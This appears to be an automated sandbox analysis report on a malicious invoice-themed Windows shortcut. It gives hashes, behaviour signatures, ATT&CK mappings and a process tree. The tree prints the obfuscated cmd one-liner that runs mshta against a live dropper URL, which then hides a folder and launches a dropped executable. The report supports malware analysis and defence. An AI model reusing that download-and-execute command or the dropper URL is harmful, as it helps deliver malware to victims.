2445173ee4008f6734eef50c1992159ff97315c2fb527d4db7cbe0545c9adc1b

Analysis

max time kernel
8s
max time network
140s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/08/2026, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Nota_Fiscal_-VD0ZQN.lnk
Size 1KB
Sample260820-ryq2dayglb
SHA256 2445173ee4008f6734eef50c1992159ff97315c2fb527d4db7cbe0545c9adc1b
MD5 9ae2f979944583c450eee22ce1509482
SHA1 fd14e61c3f251be346c453e56d5271fc8c6a1121
SHA512 52b8586a622cfaeb9e035296b87f01637b1f571b4f819c00bc81645b0a0f0326d7dfc7772f1b520549ccd64912a0bb7e9d431e2435f88ba7d6a6b90c43f45fc7
TLSH
T1A331F9402AE90624F2F7AF76C8BF9B1089BBB8558D70C61D4540424C5422A12DA7EFB7
MD5 SHA1 SHA512 TLSH

Score

10^/10

adware defense_evasion discovery execution persistence ransomware spyware

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ze.notafiscaleletronica.net/h/estagio1.php?r=391C7CE85D88

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	5828	mshta.exe
5	5828	mshta.exe
6	5828	mshta.exe
7	5828	mshta.exe
8	5828	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4924	cmd.exe
1576	cmd.exe
620	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
620	cmd.exe
2496	PING.EXE

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	rundll32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\Local Settings\MuiCache	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2496	PING.EXE

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	7	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
828	rundll32.exe
2392	rundll32.exe
480	rundll32.exe
5440	rundll32.exe
5828	mshta.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4924 wrote to memory of 1576	4924	cmd.exe	90
PID 1576 wrote to memory of 5828	1576	cmd.exe	91
PID 5828 wrote to memory of 828	5828	mshta.exe	93
PID 5828 wrote to memory of 2392	5828	mshta.exe	94
PID 5828 wrote to memory of 480	5828	mshta.exe	95
PID 5828 wrote to memory of 5440	5828	mshta.exe	96
PID 5828 wrote to memory of 4820	5828	mshta.exe	97
PID 5440 wrote to memory of 4600	5440	rundll32.exe	99
PID 480 wrote to memory of 1732	480	rundll32.exe	100
PID 2392 wrote to memory of 5880	2392	rundll32.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4820	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Nota_Fiscal_-VD0ZQN.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4924
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set a=msh&& set b=ta&& set c=https://&& set d=ze.notafiscaleletronica.net&& set e=/h/estagio1.php?r=391C7CE85D88&& !a!!b! !c!!d!!e!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Windows\System32\mshta.exe
    mshta https://ze.notafiscaleletronica.net/h/estagio1.php?r=391C7CE85D88
    3⤵
    - Badlisted process makes network request
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:5828
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      PID:828
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:5724
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:2392
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:5880
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:480
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:1732
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:5440
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        Modifies registry class
        
        PID:4600
  - - C:\Windows\System32\attrib.exe
      "C:\Windows\System32\attrib.exe" +h +s "C:\opjsqnjs\"
      4⤵
      Views/modifies file attributes
      PID:4820
  - - C:\opjsqnjs\opjsqnjs.exe
      "C:\opjsqnjs\opjsqnjs.exe" C:\opjsqnjs\opjsqnjs
      4⤵
      PID:5020
  - - C:\Windows\System32\rundll32.exe
      "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
      4⤵
      PID:2316
    - - C:\Windows\system32\rundll32.exe
        
        C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
        5⤵
        
        PID:5548
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
      4⤵
      Executes a command shell one-liner
      System Network Configuration Discovery: Internet Connection Discovery
      PID:620
    - - C:\Windows\System32\PING.EXE
        
        ping -n 300 -w 1000 127.0.0.1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2496

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 1KB
SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
MD5 adac67e1d2da2d706db151c2db316b2d
SHA1 5f6e301d23e33132209707945d0e740d5bcb8996
SHA512 9371b62ac25c6ea8fb6fca19ac47b873ced9b3d0cb45ce4de5ea974b93c12684c65aa23c7d83331c77502853258a08dff73ce5e3fb6170bd3ab1c5b3283a86a9
TLSH
T1DE31AD4EA2153027D5427F72D8CEBE83CEB1364667CAD46B18046E4229AAFC25FC80C9
MD5 SHA1 SHA512 TLSH

Submit Download

8EC5D6407C6CEA3060338B5A4735D703

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8EC5D6407C6CEA3060338B5A4735D703
Size 455B
SHA256 6e771be83ec00ff9734e7ec36be8e2cb5dce03f61d7b2bc0bba787100ed75c37
MD5 40abc0bdd72f51f4997b841b47dc6d24
SHA1 d2f3183bb9f30f114a57ef709c5ff53b7f4bf35c
SHA512 ed009272645940670818d2a4dd559887204b3997b0c86011126009707f4a42c8a9451d66e4e72a3cddf93a4c0fbfb36e7b50746e813c905d24c96edf174c1428
TLSH
T1AFF0DC89FE7D068000F0ED2099D8E06F0AF498C2064AB2441920CA7680D0B4ADAA39C9
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
Size 528B
SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
MD5 047f3e9d21d6b325d592b1959e4362e6
SHA1 5aeef5f985171cd69da397fd039854e44ebecdd2
SHA512 4523896ed4a03afafd2075d8c8947236d34fe1da2c246a3f90c2be2a5c151c18bc58a6cde5a209abb8e06e80f662e24d0149640b3e98e8a872bfa8a04ef592a4
TLSH
T147F0500990082252C855FF55DFD6AC97DC76336136E595036D458E410C12F96AF950F5
MD5 SHA1 SHA512 TLSH

Submit Download

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 174B
SHA256 705b81c6d82670a875a63b703be0e4a469d266ae12ee0f68749eaf4537845228
MD5 2918da0f2fa73211c64cdfb3147d252b
SHA1 28d01ecb7fa17b36a7f87bb1bfe825ba696acec5
SHA512 63f0236887009a9c97dcbe431755004757c035a602961267d5aeff22a8a8e7666bb1d2bf5df0933278f9f1899b3be9ceb6f925492beb2c0aea8759449efe723a
TLSH
T160C09B0837B54179F1314D7F165353118BFBE505CD82C3554F705259C51DB429CF5D06
MD5 SHA1 SHA512 TLSH

Submit Download

8EC5D6407C6CEA3060338B5A4735D703

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8EC5D6407C6CEA3060338B5A4735D703
Size 192B
SHA256 515b0f2ea2e94cfe9978a3007647b065eda5771da78fd794f23b82b615a1a5a2
MD5 bacb68a290f8c10a665cb44e3bd40fc9
SHA1 d579af30bc1cffdf9f59bc235ce9e280cdda09a8
SHA512 3e1af75c687f795049b53d8b18690309375875afa8a9793a687e4adb4df8fbfc2233d974f1599b356d3685c399547f0bf7200601db390054020a13f2137a383f
TLSH
T17DC08C403E622268E2111A3F57F146026FF8E50C8682935ECFB0221A2708A01D870E22
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
Size 170B
SHA256 8b93baee9e343351e24aaa1e9b1b343a4f2b97db4c6b6b73d79e3feaaf442799
MD5 7b270d8dca0756fcc9a9d565a989f7a3
SHA1 ebc37a3c75adbd8fb576dbafb7f099045034f695
SHA512 f77a6f66c3df235081f182fcd5dc9d654b6c6251249d3477639b6fba3ad2f483d6ed4f663e293474e939ababce046cca033ecc355a3fa1f1916794232a9e7996
TLSH
T141C09B1473654716F10E113D79D616045BB64105F5C7C3044F74113585186444871D05
MD5 SHA1 SHA512 TLSH

Submit Download

a1.zip

Path C:\opjsqnjs\a1.zip
Size 494KB
SHA256 a610503a48dde839c372feee057ff3b9072cd51d07215b64de8afb1ef2d50e63
MD5 a8202d52672a3cae5e9ec7cce2f51e55
SHA1 469b1794d6822df2bd473888e7015879d0e01962
SHA512 41dce5c785d4a4209dc542a59f67021b2041db71cf3e404d33b7063f2cefda7248d3885ab0d10b18e05c19e5ed58bd5ef38537915c5d2842bd896f82393231c2
SSDEEP 12288:xxU7hblQnL+/dh+Gez4yOGtBan225oCWp8SrI1:xq7hblmK/dgGeVlk22aCarI1
TLSH
T13BB4231C22C4BD086D3D97FB58539F7405EA2A9E14B8024CE18B73C4ABCEF815F829E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a2.zip

Path C:\opjsqnjs\a2.zip
Size 1.3MB
SHA256 14fe29f1563e07eed368d9f2df7c2c831f5de4123501a7cdaf58c3bb31925f87
MD5 2ba8a886ef409e094ebdb1f4cc97970a
SHA1 0b8dfc4f63f5bda69c8d3cdee6bcb3ba86c1acb3
SHA512 ee007622fadd7d8963c1fcd4407363e7240a5216b2aefbc0ddf283f7ce95878326f56e10a68c40855d27a4b8c2a6455a77b7a579c91df1576122d50d2c562864
SSDEEP 24576:hAuYhLHmPvqgTVjIUQEU7UGMXXZOWutx+EtMwJyU90kft3Pc7jwUprLKw:hAusgJIuU7qXZONcEt9UU90GtUlpr2w
TLSH
T10B5533F3095122CAA5AC7C5F05F017D5C586BC99BFFA3B4E3642318E0D05B92BEB9258
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a3.zip

Path C:\opjsqnjs\a3.zip
Size 2KB
SHA256 68f23d54a060872f70c20b3d06def1f28124ac49ae7635ffb4c6768814a77a58
MD5 8fbdace31d7c09191435ddad49f6ec21
SHA1 fccad56d6b3858380d9ae31125e5539a0bb1be7b
SHA512 5b3b65a5e5d0cc5341909f0ff896c61b22d6d01399eaf65568f58cd3271ec7e556faf84949112c25f12c7e8ea785906851b84e05d0b7335f1fc505e08873b6fc
TLSH
T17E414EE88D7CBD90D68EB934991454709A3B3DC495C461680FBFEC44113039CCF2E42C
MD5 SHA1 SHA512 TLSH

Submit Download

opjsqnjs

Path C:\opjsqnjs\opjsqnjs
Size 1.3MB
SHA256 f1a629d12fb0218d0ffee6bfdd7c9b5bc51aef00d7f916d4e12dc3c9b185ee92
MD5 e9d1c72ada34597b4f8697f40f308c4c
SHA1 b737dce18ba16b310be0b4fcda440abeacb9a218
SHA512 b71aba84bd6397ca22972902236d9c289d53b91952089170e4061c23158d28565522fbb6981b75bb49900f50845bed7255e435d4e3d6bc1ba8d92cf7a323fd71
SSDEEP 24576:yAsY/j7ud5qghDjIKoUU94G2X5ZOaut1+edMyJyU9kGfX3Pc7TiUnBL9p:yAsSgxIuU985ZOBoed9UU9k4XU/nBBp
TLSH
T1CB5533F3095122CAA1AC7C5F05F017D5C586BC99BFFA3B4E3642318E0D05B92BEB9258
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

opjsqnjs.exe

Path C:\opjsqnjs\opjsqnjs.exe
Size 957KB
SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
MD5 279274f8a137bf31425a9c2c14444b66
SHA1 6f7f971406854309d94139aa70bdc772308aff52
SHA512 2e69e99ae2c2f0c3361351853ecfcd1982ea542ef8aff9314e991642f106a87d45479f21f53367ad93b29ce9d98b60706ff9554a9c9d2a793fbed1589b90a85d
SSDEEP 24576:8SmEH7kpRArkvBz1oxovFDVeAj2HoB3a33rfBH:827kpRA4R1oGDVeQXsrf
TLSH
T11B259E0373D18022FF93A9721E5FE72656BC6D2A0323956F13D81EB9F9305B14A1E672
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5020-116-0x0000000000400000-0x00000000005C8000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads